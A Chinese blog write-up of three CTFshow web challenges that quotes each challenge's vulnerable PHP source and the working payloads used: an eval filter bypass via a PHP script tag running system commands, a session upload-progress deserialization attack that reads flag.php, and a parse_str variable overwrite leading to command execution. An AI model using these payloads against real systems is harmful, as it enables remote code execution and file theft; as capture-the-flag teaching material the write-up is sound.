CTFSHOW新手杯WEB方向部分WP

610 阅读2分钟

持续创作,加速成长!这是我参与「掘金日新计划 · 10 月更文挑战」的第14天,点击查看活动详情

引文

前几天做了几个CTFSHOW新人杯的题目,感觉题目还挺好玩的,于是写了几个题目的WP供大家参考。

easy_eval

WEB签到题就很少一段代码审计,简单分析一下:

<?php
error_reporting(0);
highlight_file(__FILE__);
$code = $_POST['code'];
if(isset($code)){
  $code = str_replace("?","",$code);
  eval("?>".$code);
}

让我们POST传参code,在eval处会存在?>去闭合我们的输入,而且传参不能有?号,学到一个新套路,既然PHP标签不能用了,我们尝试用JS标签去写PHP标签。

<script language="php"> system('ls'); </script>

找到flag文件:

ctfshow1.PNG

替换下命令查flag:

code=<script language="php"> system('cat /f1agaaa'); </script>

剪刀石头布

hint:我为啥要ini_set来着 hint2:php.ini配置的稀烂

进入题目环境是一个输入框:

ctfshow2.PNG

设计的一个小游戏,让我们输入名字进入游戏,游戏是一个常见的剪刀石头布,得到flag的要求是:You need to win 100 rounds in a row to get flag.

我没有试100回会不会给我们flag,因为题目有个源码链接,我们分析一下源码:

<?php
    ini_set('session.serialize_handler', 'php');
    if(isset($_POST['source'])){
        highlight_file(__FILE__);
    phpinfo();
    die();
    }
    error_reporting(0);
    include "flag.php";
    class Game{
        public $log,$name,$play;
        public function __construct($name){
            $this->name = $name;
            $this->log = '/tmp/'.md5($name).'.log';
        }
        public function play($user_input,$bot_input){
            $output = array('Rock'=>'&#9996;&#127995;','Paper'=>'&#9994;&#127995;','Scissors'=>'&#9995;&#127995;');
            $this->play = $user_input.$bot_input;
            if($this->play == "RockRock" || $this->play == "PaperPaper" || $this->play == "ScissorsScissors"){
                file_put_contents($this->log,"<div>".$output[$user_input].' VS '.$output[$bot_input]." Draw</div>\n",FILE_APPEND);
                return "Draw";
            } else if($this->play == "RockPaper" || $this->play == "PaperScissors" || $this->play == "ScissorsRock"){
                file_put_contents($this->log,"<div>".$output[$user_input].' VS '.$output[$bot_input]." You Lose</div>\n",FILE_APPEND);
                return "You Lose";
            } else if($this->play == "RockScissors" || $this->play == "PaperRock" || $this->play == "ScissorsPaper"){
                file_put_contents($this->log,"<div>".$output[$user_input].' VS '.$output[$bot_input]." You Win</div>\n",FILE_APPEND);
                return "You Win";
            }
        }
        public function __destruct(){
                echo "<h5>Game History</h5>\n";
        echo "<div class='all_output'>\n";
                echo file_get_contents($this->log);
        echo "</div>";
        }
    }
?>

在源码下面还有一个phpinfo的PHP信息界面,仔细分析一下发现没有设置自动删除session。

考虑可能利用PHP_SESSION_UPLOAD_PROGRESS来写入数据,回到源码:第一次看时便注意到了:

 public function __destruct(){
                echo "<h5>Game History</h5>\n";
        echo "<div class='all_output'>\n";
                echo file_get_contents($this->log);
        echo "</div>";

我们对象销毁时会调用上面这个方法,方法里面有一个包含函数,是不是我们可以将变量log设置为flag路径,然后利用PHP_SESSION_UPLOAD_PROGRESS来写入数据,从而得到flag。

对于序列化字符串的构造,可以参考SESSION反序列化里面的内容来构造。由phpinfo得知处于php模式,|分割了键名和键值,php会反序列化|后面的键值。

<?php
class Game{
    public $log;
    public function __construct()
    {
        $this->log = "/var/www/html/flag.php";
    }
}
$xino = new Game();
echo serialize($xino);
?>

运行得到:

O:4:"Game":1:{s:3:"log";s:22:"/var/www/html/flag.php";}

现在只需利用PHP_SESSION_UPLOAD_PROGRESS来写入数据,利用之前条件竞争的上传脚本。

<!doctype html>
<html>
<body>
<form action="http://67755fe0-050a-488b-a63b-8e78e826e4c1.challenge.ctf.show/" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="xino" />
 <input type="file" name="file" />
    <input type="submit" />
</form>
</body>
</html>

我们上传文件,然后抓包修改文件名发包:

ctfshow3.PNG

repairman

mode=0,得到源码。

Your mode is the guest!hello,the repairman! <?php
error_reporting(0);
session_start();
$config['secret'] = Array();
include 'config.php';
if(isset($_COOKIE['secret'])){
    $secret =& $_COOKIE['secret'];
}else{
    $secret = Null;
}
if(empty($mode)){
    $url = parse_url($_SERVER['REQUEST_URI']);
    parse_str($url['query']);
    if(empty($mode)) {
        echo 'Your mode is the guest!';
    }
}
function cmd($cmd){
    global $secret;
    echo 'Sucess change the ini!The logs record you!';
    exec($cmd);
    $secret['secret'] = $secret;
    $secret['id'] = $_SERVER['REMOTE_ADDR'];
    $_SESSION['secret'] = $secret;
}
if($mode == '0'){
    //echo var_dump($GLOBALS);
    if($secret === md5('token')){
        $secret = md5('test'.$config['secret']);
        }
        switch ($secret){
            case md5('admin'.$config['secret']):
                echo 999;
                cmd($_POST['cmd']);
            case md5('test'.$config['secret']):
                echo 666;
                $cmd = preg_replace('/[^a-z0-9]/is', 'hacker',$_POST['cmd']);
                cmd($cmd);
            default:
                echo "hello,the repairman!";
                highlight_file(__FILE__);
        }
    }elseif($mode == '1'){
        echo '</br>hello,the user!We may change the mode to repaie the server,please keep it unchanged';
    }else{
        header('refresh:5;url=index.php?mode=1');
        exit;
    }

switch选项中我们需要进入admin的case,要让secret等于md5(admin.secret等于md5('admin'.config['secret']).而我们可以直接覆盖$config['secret']的值,本题考查的是:

if(empty($mode)){
    $url = parse_url($_SERVER['REQUEST_URI']);
    parse_str($url['query']);
    if(empty($mode)) {
        echo 'Your mode is the guest!';
    }

存在变量赋该漏洞,str_parse能够覆盖变量,payload如下:

GET:

index.php?mode=0&config[secret]=youyou&secret=7f258ef6c9c746f0418e1730a3b78046

POST:

cmd=cat config.php>1.txt

访问1.txt之后得到flag。

结语

今天复现了WEB部分题目,之后还会发一下MISC的题目,发的这些都不是很难的,有兴趣的小伙伴可以去官网尝试复现,之后也会带来MISC部分的复现WP。